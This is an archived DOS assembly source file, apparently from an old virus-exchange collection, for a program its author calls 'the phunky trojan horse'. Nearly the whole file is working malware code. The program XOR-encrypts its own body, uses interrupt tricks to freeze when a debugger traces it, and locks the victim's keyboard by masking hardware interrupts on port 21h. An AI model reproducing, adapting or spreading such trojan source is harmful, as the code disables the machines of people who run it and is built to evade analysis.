home *** CD-ROM | disk | FTP | other *** search
- ; the phunky trojan horse
- ;frezzez up the keyboard when trying to trace it it is also encrypting
- ; Written by od^Phreak
-
- virus_type equ 3
- is_encrypted equ 1
- tsr_virus equ 0
-
- code segment byte public
- assume cs:code,ds:code,es:code,ss:code
- org 0100h
-
- start label near
-
- main proc near
- call encrypt_decrypt
-
- start_of_code label near
-
- stop_tracing: mov cx,09EBh
- mov ax,0FE05h
- jmp $-2
- add ah,03Bh
- jmp $-10
- mov bx,offset null_vector
- push cs
- pop es
- int 021h
- mov al,1
- int 021h
- jmp short skip_null
- null_vector: jmp $
- skip_null: mov byte ptr [lock_keys + 1],130
- lock_keys: mov al,128
- out 021h,al
-
-
- mov ax,04C00h
- int 021h
- main endp
-
- vcl_marker db "[written by od^Phreak]",0
-
- end_of_code label near
-
- encrypt_decrypt proc near
- mov si,offset start_of_code
- mov cx,(end_of_code - start_of_code) / 2
- xor_loop: xor word ptr [si],06734h
- inc si
- inc si
- loop xor_loop
- ret
- encrypt_decrypt endp
- finish label near
-
- code ends
- end main